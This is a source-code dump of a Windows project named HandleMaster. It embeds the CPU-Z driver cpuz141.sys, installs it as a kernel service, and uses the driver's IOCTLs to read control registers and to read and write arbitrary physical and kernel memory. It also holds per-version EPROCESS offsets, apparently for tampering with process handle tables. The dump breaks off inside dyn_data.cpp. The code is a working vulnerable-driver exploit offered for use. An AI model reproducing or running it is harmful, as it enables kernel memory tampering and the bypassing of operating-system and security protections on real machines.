├── .gitattributes ├── .gitignore ├── HandleMaster.sln ├── HandleMaster ├── HandleMaster.vcxproj ├── HandleMaster.vcxproj.filters └── src │ ├── drivers │ └── cpuz │ │ ├── cpuz_driver.cpp │ │ ├── cpuz_driver.hpp │ │ ├── cpuz_shellcode.cpp │ │ └── cpuz_shellcode.h │ ├── dyn_data.cpp │ ├── dyn_data.hpp │ ├── main.cpp │ ├── process.cpp │ ├── process.hpp │ ├── scm.c │ ├── scm.h │ ├── sup.c │ ├── sup.h │ └── windefs.h ├── LICENSE └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | project.fragment.lock.json 46 | artifacts/ 47 | 48 | *_i.c 49 | *_p.c 50 | *_i.h 51 | *.ilk 52 | *.meta 53 | *.obj 54 | *.pch 55 | *.pdb 56 | *.pgc 57 | *.pgd 58 | *.rsp 59 | *.sbr 60 | *.tlb 61 | *.tli 62 | *.tlh 63 | *.tmp 64 | *.tmp_proj 65 | *.log 66 | *.vspscc 67 | *.vssscc 68 | .builds 69 | *.pidb 70 | *.svclog 71 | *.scc 72 | 73 | # Chutzpah Test files 74 | _Chutzpah* 75 | 76 | # Visual C++ cache files 77 | ipch/ 78 | *.aps 79 | *.ncb 80 | *.opendb 81 | *.opensdf 82 | *.sdf 83 | *.cachefile 84 | *.VC.db 85 | *.VC.VC.opendb 86 | 87 | # Visual Studio profiler 88 | *.psess 89 | *.vsp 90 | *.vspx 91 | *.sap 92 | 93 | # TFS 2012 Local Workspace 94 | $tf/ 95 | 96 | # Guidance Automation Toolkit 97 | *.gpState 98 | 99 | # ReSharper is a .NET coding add-in 100 | _ReSharper*/ 101 | *.[Rr]e[Ss]harper 102 | *.DotSettings.user 103 | 104 | # JustCode is a .NET coding add-in 105 | .JustCode 106 | 107 | # TeamCity is a build add-in 108 | _TeamCity* 109 | 110 | # DotCover is a Code Coverage Tool 111 | *.dotCover 112 | 113 | # NCrunch 114 | _NCrunch_* 115 | .*crunch*.local.xml 116 | nCrunchTemp_* 117 | 118 | # MightyMoose 119 | *.mm.* 120 | AutoTest.Net/ 121 | 122 | # Web workbench (sass) 123 | .sass-cache/ 124 | 125 | # Installshield output folder 126 | [Ee]xpress/ 127 | 128 | # DocProject is a documentation generator add-in 129 | DocProject/buildhelp/ 130 | DocProject/Help/*.HxT 131 | DocProject/Help/*.HxC 132 | DocProject/Help/*.hhc 133 | DocProject/Help/*.hhk 134 | DocProject/Help/*.hhp 135 | DocProject/Help/Html2 136 | DocProject/Help/html 137 | 138 | # Click-Once directory 139 | publish/ 140 | 141 | # Publish Web Output 142 | *.[Pp]ublish.xml 143 | *.azurePubxml 144 | # TODO: Comment the next line if you want to checkin your web deploy settings 145 | # but database connection strings (with potential passwords) will be unencrypted 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 150 | # checkin your Azure Web App publish settings, but sensitive information contained 151 | # in these scripts will be unencrypted 152 | PublishScripts/ 153 | 154 | # NuGet Packages 155 | *.nupkg 156 | # The packages folder can be ignored because of Package Restore 157 | **/packages/* 158 | # except build/, which is used as an MSBuild target. 159 | !**/packages/build/ 160 | # Uncomment if necessary however generally it will be regenerated when needed 161 | #!**/packages/repositories.config 162 | # NuGet v3's project.json files produces more ignoreable files 163 | *.nuget.props 164 | *.nuget.targets 165 | 166 | # Microsoft Azure Build Output 167 | csx/ 168 | *.build.csdef 169 | 170 | # Microsoft Azure Emulator 171 | ecf/ 172 | rcf/ 173 | 174 | # Windows Store app package directories and files 175 | AppPackages/ 176 | BundleArtifacts/ 177 | Package.StoreAssociation.xml 178 | _pkginfo.txt 179 | 180 | # Visual Studio cache files 181 | # files ending in .cache can be ignored 182 | *.[Cc]ache 183 | # but keep track of directories ending in .cache 184 | !*.[Cc]ache/ 185 | 186 | # Others 187 | ClientBin/ 188 | ~$* 189 | *~ 190 | *.dbmdl 191 | *.dbproj.schemaview 192 | *.jfm 193 | *.pfx 194 | *.publishsettings 195 | node_modules/ 196 | orleans.codegen.cs 197 | 198 | # Since there are multiple workflows, uncomment next line to ignore bower_components 199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 200 | #bower_components/ 201 | 202 | # RIA/Silverlight projects 203 | Generated_Code/ 204 | 205 | # Backup & report files from converting an old project file 206 | # to a newer Visual Studio version. Backup files are not needed, 207 | # because we have git ;-) 208 | _UpgradeReport_Files/ 209 | Backup*/ 210 | UpgradeLog*.XML 211 | UpgradeLog*.htm 212 | 213 | # SQL Server files 214 | *.mdf 215 | *.ldf 216 | 217 | # Business Intelligence projects 218 | *.rdl.data 219 | *.bim.layout 220 | *.bim_*.settings 221 | 222 | # Microsoft Fakes 223 | FakesAssemblies/ 224 | 225 | # GhostDoc plugin setting file 226 | *.GhostDoc.xml 227 | 228 | # Node.js Tools for Visual Studio 229 | .ntvs_analysis.dat 230 | 231 | # Visual Studio 6 build log 232 | *.plg 233 | 234 | # Visual Studio 6 workspace options file 235 | *.opt 236 | 237 | # Visual Studio LightSwitch build output 238 | **/*.HTMLClient/GeneratedArtifacts 239 | **/*.DesktopClient/GeneratedArtifacts 240 | **/*.DesktopClient/ModelManifest.xml 241 | **/*.Server/GeneratedArtifacts 242 | **/*.Server/ModelManifest.xml 243 | _Pvt_Extensions 244 | 245 | # Paket dependency manager 246 | .paket/paket.exe 247 | paket-files/ 248 | 249 | # FAKE - F# Make 250 | .fake/ 251 | 252 | # JetBrains Rider 253 | .idea/ 254 | *.sln.iml 255 | 256 | # CodeRush 257 | .cr/ 258 | 259 | # Python Tools for Visual Studio (PTVS) 260 | __pycache__/ 261 | *.pyc -------------------------------------------------------------------------------- /HandleMaster.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HandleMaster", "HandleMaster\HandleMaster.vcxproj", "{86B4176D-F752-413D-A0A0-57FCAD4059DB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Release|x64 = Release|x64 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {86B4176D-F752-413D-A0A0-57FCAD4059DB}.Debug|x64.ActiveCfg = Debug|x64 15 | {86B4176D-F752-413D-A0A0-57FCAD4059DB}.Debug|x64.Build.0 = Debug|x64 16 | {86B4176D-F752-413D-A0A0-57FCAD4059DB}.Release|x64.ActiveCfg = Release|x64 17 | {86B4176D-F752-413D-A0A0-57FCAD4059DB}.Release|x64.Build.0 = Release|x64 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /HandleMaster/HandleMaster.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 15.0 33 | {86B4176D-F752-413D-A0A0-57FCAD4059DB} 34 | Win32Proj 35 | HandleMaster 36 | 8.1 37 | 38 | 39 | 40 | Application 41 | true 42 | v140 43 | Unicode 44 | 45 | 46 | Application 47 | false 48 | v140 49 | true 50 | Unicode 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | true 66 | $(SolutionDir)bin\ 67 | $(SolutionDir)build\$(Configuration)\$(Platform)\ 68 | HandleMaster_d 69 | 70 | 71 | false 72 | $(SolutionDir)bin\ 73 | $(SolutionDir)build\$(Configuration)\$(Platform)\ 74 | HandleMaster 75 | 76 | 77 | 78 | 79 | 80 | Level3 81 | Disabled 82 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 83 | MultiThreadedDebug 84 | 85 | 86 | Console 87 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 88 | RequireAdministrator 89 | 90 | 91 | 92 | 93 | Level3 94 | 95 | 96 | MaxSpeed 97 | true 98 | true 99 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 100 | MultiThreaded 101 | 102 | 103 | Console 104 | true 105 | true 106 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 107 | RequireAdministrator 108 | 109 | 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /HandleMaster/HandleMaster.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | Header Files 61 | 62 | 63 | -------------------------------------------------------------------------------- /HandleMaster/src/drivers/cpuz/cpuz_driver.cpp: -------------------------------------------------------------------------------- 1 | #include "cpuz_driver.hpp" 2 | 3 | #include "../../scm.h" 4 | #include "../../sup.h" 5 | #include "cpuz_shellcode.h" 6 | 7 | #define CPUZ_FILE_NAME L"\\SystemRoot\\System32\\drivers\\cpuz141.sys" 8 | #define CPUZ_DEVICE_NAME L"\\Device\\cpuz141" 9 | 10 | #define LODWORD(l) ((DWORD)(((DWORD_PTR)(l)) & 0xffffffff)) 11 | #define HIDWORD(l) ((DWORD)((((DWORD_PTR)(l)) >> 32) & 0xffffffff)) 12 | 13 | #define IOCTL_READ_CR 0x9C402428 14 | #define IOCTL_READ_MEM 0x9C402420 15 | #define IOCTL_WRITE_MEM 0x9C402430 16 | 17 | #pragma pack(push, 1) 18 | struct input_read_mem 19 | { 20 | std::uint32_t address_high; 21 | std::uint32_t address_low; 22 | std::uint32_t length; 23 | std::uint32_t buffer_high; 24 | std::uint32_t buffer_low; 25 | }; 26 | 27 | struct input_write_mem 28 | { 29 | std::uint32_t address_high; 30 | std::uint32_t address_low; 31 | std::uint32_t value; 32 | }; 33 | 34 | struct output 35 | { 36 | std::uint32_t operation; 37 | std::uint32_t buffer_low; 38 | }; 39 | 40 | #pragma pack(pop) 41 | 42 | cpuz_driver::cpuz_driver() 43 | : deviceHandle_(INVALID_HANDLE_VALUE), serviceHandle_(INVALID_HANDLE_VALUE), unload_(false) 44 | { 45 | } 46 | 47 | cpuz_driver::~cpuz_driver() 48 | { 49 | if(deviceHandle_ != INVALID_HANDLE_VALUE) 50 | NtClose(deviceHandle_); 51 | 52 | if(unload_ && is_loaded()) 53 | unload(); 54 | } 55 | 56 | cpuz_driver& cpuz_driver::instance() 57 | { 58 | static cpuz_driver inst; 59 | return inst; 60 | } 61 | 62 | bool cpuz_driver::ensure_loaded() 63 | { 64 | if(!is_loaded() && !load()) 65 | throw std::runtime_error{ "Driver is not loaded." }; 66 | 67 | return true; 68 | } 69 | 70 | bool cpuz_driver::is_loaded() 71 | { 72 | if(!deviceHandle_ || deviceHandle_ == INVALID_HANDLE_VALUE) { 73 | IO_STATUS_BLOCK io_status; 74 | NTSTATUS status; 75 | 76 | UNICODE_STRING device_name = UNICODE_STRING{sizeof(CPUZ_DEVICE_NAME) - sizeof(WCHAR), sizeof(CPUZ_DEVICE_NAME), CPUZ_DEVICE_NAME}; 77 | OBJECT_ATTRIBUTES obj_attr = OBJECT_ATTRIBUTES{ sizeof(OBJECT_ATTRIBUTES), nullptr, &device_name, 0, nullptr, nullptr }; 78 | 79 | status = NtOpenFile( 80 | &deviceHandle_, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, 81 | &obj_attr, &io_status, 0, OPEN_EXISTING); 82 | 83 | if(!NT_SUCCESS(status)) { 84 | ULONG i = 10; 85 | do { 86 | status = NtOpenFile( 87 | &deviceHandle_, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, 88 | &obj_attr, &io_status, 0, OPEN_EXISTING); 89 | Sleep(250); 90 | } while(!NT_SUCCESS(status) && i--); 91 | } 92 | } 93 | 94 | return deviceHandle_ && deviceHandle_ != INVALID_HANDLE_VALUE; 95 | } 96 | 97 | bool cpuz_driver::load() 98 | { 99 | HANDLE service; 100 | ULONG io; 101 | 102 | if(!SupFileExists(CPUZ_FILE_NAME)) { 103 | auto file = SupCreateFile(CPUZ_FILE_NAME, FILE_GENERIC_WRITE, 0, FILE_CREATE); 104 | 105 | if(!WriteFile(file, CpuzDriverFile, sizeof(CpuzDriverFile), &io, nullptr)) { 106 | CloseHandle(file); 107 | return false; 108 | } 109 | CloseHandle(file); 110 | } 111 | 112 | if(ScmOpenServiceHandle(&service, L"cpuz141", SERVICE_STOP | DELETE)) { 113 | if(!ScmStopService(service) && GetLastError() != ERROR_SERVICE_NOT_ACTIVE) { 114 | ScmCloseServiceHandle(service); 115 | return false; 116 | } 117 | if(!ScmDeleteService(service)) { 118 | ScmCloseServiceHandle(service); 119 | return false; 120 | } 121 | ScmCloseServiceHandle(service); 122 | } 123 | 124 | if(!ScmCreateService( 125 | &serviceHandle_, 126 | L"cpuz141", L"cpuz141", 127 | CPUZ_FILE_NAME, 128 | SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, 129 | SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL)) 130 | return false; 131 | 132 | if(!ScmStartService(serviceHandle_)) { 133 | ScmDeleteService(serviceHandle_); 134 | return false; 135 | } 136 | 137 | return is_loaded(); 138 | } 139 | 140 | bool cpuz_driver::unload() 141 | { 142 | if(deviceHandle_ != INVALID_HANDLE_VALUE) 143 | NtClose(deviceHandle_); 144 | 145 | if(serviceHandle_ != INVALID_HANDLE_VALUE) { 146 | if(!ScmStopService(serviceHandle_) && GetLastError() != ERROR_SERVICE_NOT_ACTIVE) { 147 | ScmCloseServiceHandle(serviceHandle_); 148 | return false; 149 | } 150 | ScmDeleteService(serviceHandle_); 151 | ScmCloseServiceHandle(serviceHandle_); 152 | } 153 | 154 | return true; 155 | } 156 | 157 | std::uint64_t cpuz_driver::read_cr0() 158 | { 159 | auto io = ULONG{ 0 }; 160 | auto cr = std::uint32_t{ 0 }; 161 | auto value = std::uint64_t{ 0 }; 162 | 163 | if(!DeviceIoControl(deviceHandle_, IOCTL_READ_CR, &cr, sizeof(cr), &value, sizeof(value), &io, nullptr)) 164 | throw std::runtime_error("Failed to read control register"); 165 | 166 | return value; 167 | } 168 | 169 | std::uint64_t cpuz_driver::read_cr2() 170 | { 171 | auto io = ULONG{ 0 }; 172 | auto cr = std::uint32_t{ 2 }; 173 | auto value = std::uint64_t{ 0 }; 174 | 175 | if(!DeviceIoControl(deviceHandle_, IOCTL_READ_CR, &cr, sizeof(cr), &value, sizeof(value), &io, nullptr)) 176 | throw std::runtime_error("Failed to read control register"); 177 | 178 | return value; 179 | } 180 | 181 | std::uint64_t cpuz_driver::read_cr3() 182 | { 183 | auto io = ULONG{ 0 }; 184 | auto cr = std::uint32_t{ 3 }; 185 | auto value = std::uint64_t{ 0 }; 186 | 187 | if(!DeviceIoControl(deviceHandle_, IOCTL_READ_CR, &cr, sizeof(cr), &value, sizeof(value), &io, nullptr)) 188 | throw std::runtime_error("Failed to read control register"); 189 | 190 | return value; 191 | } 192 | 193 | std::uint64_t cpuz_driver::translate_linear_address(std::uint64_t directoryTableBase, LPVOID virtualAddress) 194 | { 195 | auto va = (std::uint64_t)virtualAddress; 196 | 197 | auto PML4 = (USHORT)((va >> 39) & 0x1FF); //> 30) & 0x1FF); //> 21) & 0x1FF); //> 12) & 0x1FF); //(directoryTableBase + PML4 * sizeof(ULONGLONG)); 207 | 208 | if(PML4E == 0) 209 | return 0; 210 | 211 | // 212 | // The PML4E that we read is the base address of the next table on the chain, 213 | // the Page-Directory-Pointer Table. 214 | // 215 | auto PDPTE = read_physical_address((PML4E & 0xFFFFFFFFFF000) + DirectoryPtr * sizeof(ULONGLONG)); 216 | 217 | if(PDPTE == 0) 218 | return 0; 219 | 220 | //Check the PS bit 221 | if((PDPTE & (1 << 7)) != 0) { 222 | // If the PDPTE’s PS flag is 1, the PDPTE maps a 1-GByte page. The 223 | // final physical address is computed as follows: 224 | // — Bits 51:30 are from the PDPTE. 225 | // — Bits 29:0 are from the original va address. 226 | return (PDPTE & 0xFFFFFC0000000) + (va & 0x3FFFFFFF); 227 | } 228 | 229 | // 230 | // PS bit was 0. That means that the PDPTE references the next table 231 | // on the chain, the Page Directory Table. Read it. 232 | // 233 | auto PDE = read_physical_address((PDPTE & 0xFFFFFFFFFF000) + Directory * sizeof(ULONGLONG)); 234 | 235 | if(PDE == 0) 236 | return 0; 237 | 238 | if((PDE & (1 << 7)) != 0) { 239 | // If the PDE’s PS flag is 1, the PDE maps a 2-MByte page. The 240 | // final physical address is computed as follows: 241 | // — Bits 51:21 are from the PDE. 242 | // — Bits 20:0 are from the original va address. 243 | return (PDE & 0xFFFFFFFE00000) + (va & 0x1FFFFF); 244 | } 245 | 246 | // 247 | // PS bit was 0. That means that the PDE references a Page Table. 248 | // 249 | auto PTE = read_physical_address((PDE & 0xFFFFFFFFFF000) + Table * sizeof(ULONGLONG)); 250 | 251 | if(PTE == 0) 252 | return 0; 253 | 254 | // 255 | // The PTE maps a 4-KByte page. The 256 | // final physical address is computed as follows: 257 | // — Bits 51:12 are from the PTE. 258 | // — Bits 11:0 are from the original va address. 259 | return (PTE & 0xFFFFFFFFFF000) + (va & 0xFFF); 260 | } 261 | 262 | bool cpuz_driver::read_physical_address(std::uint64_t address, LPVOID buf, size_t len) 263 | { 264 | auto io = ULONG{ 0 }; 265 | auto in = input_read_mem{}; 266 | auto out = output{}; 267 | 268 | if(address == 0 || buf == nullptr) 269 | return false; 270 | 271 | in.address_high = HIDWORD(address); 272 | in.address_low = LODWORD(address); 273 | in.length = (std::uint32_t)len; 274 | in.buffer_high = HIDWORD(buf); 275 | in.buffer_low = LODWORD(buf); 276 | 277 | return !!DeviceIoControl(deviceHandle_, IOCTL_READ_MEM, &in, sizeof(in), &out, sizeof(out), &io, nullptr); 278 | } 279 | 280 | bool cpuz_driver::read_system_address(LPVOID address, LPVOID buf, size_t len) 281 | { 282 | const auto dirbase = read_cr3(); 283 | const auto phys = translate_linear_address(dirbase, address); 284 | 285 | if(phys == 0) 286 | return false; 287 | 288 | return read_physical_address(phys, buf, len); 289 | } 290 | 291 | bool cpuz_driver::write_physical_address(std::uint64_t address, LPVOID buf, size_t len) 292 | { 293 | if(len % 4 != 0 || len == 0) 294 | throw std::runtime_error{ "The CPU-Z driver can only write lengths that are aligned to 4 bytes (4, 8, 12, 16, etc)" }; 295 | 296 | auto io = ULONG{ 0 }; 297 | auto in = input_write_mem{}; 298 | auto out = output{}; 299 | 300 | if(address == 0 || buf == nullptr) 301 | return false; 302 | 303 | if(len == 4) { 304 | in.address_high = HIDWORD(address); 305 | in.address_low = LODWORD(address); 306 | in.value = *(std::uint32_t*)buf; 307 | 308 | return !!DeviceIoControl(deviceHandle_, IOCTL_WRITE_MEM, &in, sizeof(in), &out, sizeof(out), &io, nullptr); 309 | } else { 310 | for(auto i = 0; i < len / 4; i++) { 311 | in.address_high = HIDWORD(address + 4 * i); 312 | in.address_low = LODWORD(address + 4 * i); 313 | in.value = ((std::uint32_t*)buf)[i]; 314 | if(!DeviceIoControl(deviceHandle_, IOCTL_WRITE_MEM, &in, sizeof(in), &out, sizeof(out), &io, nullptr)) 315 | return false; 316 | } 317 | return true; 318 | } 319 | } 320 | 321 | bool cpuz_driver::write_system_address(LPVOID address, LPVOID buf, size_t len) 322 | { 323 | const auto dirbase = read_cr3(); 324 | const auto phys = translate_linear_address(dirbase, address); 325 | 326 | if(phys == 0) 327 | return false; 328 | 329 | return write_physical_address(phys, buf, len); 330 | } 331 | -------------------------------------------------------------------------------- /HandleMaster/src/drivers/cpuz/cpuz_driver.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../../windefs.h" 7 | 8 | class cpuz_driver 9 | { 10 | cpuz_driver(); 11 | ~cpuz_driver(); 12 | 13 | cpuz_driver(const cpuz_driver&) = delete; 14 | cpuz_driver(cpuz_driver&&) = delete; 15 | cpuz_driver& operator=(const cpuz_driver&) = delete; 16 | cpuz_driver& operator=(cpuz_driver&&) = delete; 17 | 18 | public: 19 | static cpuz_driver& instance(); 20 | 21 | bool ensure_loaded(); 22 | bool load(); 23 | bool unload(); 24 | 25 | void unload_on_exit(bool enable) { unload_ = enable; } 26 | 27 | /** 28 | * \brief Read some control registers 29 | */ 30 | std::uint64_t read_cr0(); 31 | std::uint64_t read_cr2(); 32 | std::uint64_t read_cr3(); 33 | 34 | /** 35 | * \brief Translates a linear (virtual) address into it's respective physical address. 36 | * 37 | * \param[in] directoryTableBase The directory base for the process that owns the address. 38 | * \param[in] virtualAddress The virtual address that you want to translate. 39 | * 40 | * \returns If the function succeeds, the return value is the physical address. 41 | * If the function fails, the return value is 0. 42 | */ 43 | std::uint64_t translate_linear_address(std::uint64_t directoryTableBase, LPVOID virtualAddress); 44 | 45 | /** 46 | * \brief Reads from physical memory. 47 | */ 48 | bool read_physical_address(std::uint64_t address, LPVOID buf, size_t len); 49 | 50 | /** 51 | * \brief Writes to physical memory. 52 | */ 53 | bool write_physical_address(std::uint64_t address, LPVOID buf, size_t len); 54 | 55 | /** 56 | * \brief Reads from system memory. This is just a wrapper around read_physical_address 57 | */ 58 | bool read_system_address(LPVOID address, LPVOID buf, size_t len); 59 | 60 | /** 61 | * \brief Writes to system memory. This is just a wrapper around write_physical_address 62 | */ 63 | bool write_system_address(LPVOID address, LPVOID buf, size_t len); 64 | 65 | 66 | template 67 | T read_physical_address(U address) 68 | { 69 | T buf; 70 | 71 | if(!read_physical_address((std::uint64_t)address, (uint8_t*)&buf, sizeof(T))) 72 | throw std::runtime_error{ "Read failed" }; 73 | 74 | return buf; 75 | } 76 | 77 | template 78 | T read_system_address(U address) 79 | { 80 | T buf; 81 | 82 | if(!read_system_address((LPVOID)address, (uint8_t*)&buf, sizeof(T))) 83 | throw std::runtime_error{ "Read failed" }; 84 | 85 | return buf; 86 | } 87 | 88 | template 89 | bool write_physical_address(T address, U value) 90 | { 91 | return write_physical_address((LPVOID)address, (uint8_t*)&value, sizeof(U)); 92 | } 93 | 94 | template 95 | bool write_system_address(T address, U value) 96 | { 97 | return write_system_address((LPVOID)address, (uint8_t*)&value, sizeof(U)); 98 | } 99 | private: 100 | bool is_loaded(); 101 | 102 | HANDLE serviceHandle_; 103 | HANDLE deviceHandle_; 104 | bool unload_; 105 | }; -------------------------------------------------------------------------------- /HandleMaster/src/drivers/cpuz/cpuz_shellcode.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // This is cpuz_141.sys embedded as a byte array 4 | // It is dropped to disk when necessary 5 | extern unsigned char CpuzDriverFile[46400]; 6 | -------------------------------------------------------------------------------- /HandleMaster/src/dyn_data.cpp: -------------------------------------------------------------------------------- 1 | #include "dyn_data.hpp" 2 | #include "windefs.h" 3 | #include 4 | 5 | namespace dyn_data 6 | { 7 | std::uint32_t os_version; 8 | std::uint32_t offset_directorytable; 9 | std::uint32_t offset_process_id; 10 | std::uint32_t offset_process_links; 11 | std::uint32_t offset_object_table; 12 | 13 | typedef NTSTATUS(NTAPI* RtlGetVersion_t)( 14 | _Out_ PRTL_OSVERSIONINFOW lpVersionInformation 15 | ); 16 | 17 | void ensure_intel_cpu() 18 | { 19 | char buf[13] = ""; 20 | int reg[4]; 21 | __cpuid(reg, 0); 22 | memcpy(buf, ®[1], 4); 23 | memcpy(buf + 4, ®[3], 4); 24 | memcpy(buf + 8, ®[2], 4); 25 | buf[12] = 0; 26 | 27 | if(strcmp("GenuineIntel", buf) != 0) 28 | throw unsupported_processor(buf); 29 | } 30 | 31 | void load_information() 32 | { 33 | static auto RtlGetVersion = (RtlGetVersion_t)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlGetVersion"); 34 | 35 | auto osvi = OSVERSIONINFOEXW{ sizeof(OSVERSIONINFOEXW) }; 36 | 37 | RtlGetVersion((POSVERSIONINFOW)&osvi); 38 | 39 | auto version_long = (osvi.dwMajorVersion << 16) | (osvi.dwMinorVersion << 8) | osvi.wServicePackMajor; 40 | 41 | switch(version_long) { 42 | case win7_sp1: 43 | os_version = win7_sp1; 44 | offset_directorytable = 0x028; 45 | offset_process_id = 0x180; 46 | offset_process_links = 0x188; 47 | offset_object_table = 0x200; 48 | break; 49 | case win8: 50 | os_version = win8; 51 | offset_directorytable = 0x028; 52 | offset_process_id = 0x2e0; 53 | offset_process_links = 0x2e8; 54 | offset_object_table = 0x408; 55 | break; 56 | case win81: 57 | os_version = win81; 58 | offset_directorytable = 0x028; 59 | offset_process_id = 0x2e0; 60 | offset_process_links = 0x2e8; 61 | offset_object_table = 0x408; 62 | break; 63 | case win10: 64 | { 65 | switch(osvi.dwBuildNumber) { 66 | case 10240: 67 | case 10586: 68 | case 14393: 69 | os_version = win10; 70 | offset_directorytable = 0x028; 71 | offset_process_id = 0x2E8; 72 | offset_process_links = 0x2F0; 73 | offset_object_table = 0x418; 74 | break; 75 | case 15063: 76 | os_version = win10_cu; 77 | offset_directorytable = 0x028; 78 | offset_process_id = 0x2E0; 79 | offset_process_links = 0x2E8; 80 | offset_object_table = 0x418; 81 | break; 82 | default: 83 | throw unsupported_version(osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.wServicePackMajor, osvi.dwBuildNumber); 84 | } 85 | break; 86 | } 87 | default: 88 | { 89 | throw unsupported_version(osvi.dwMajorVersion, 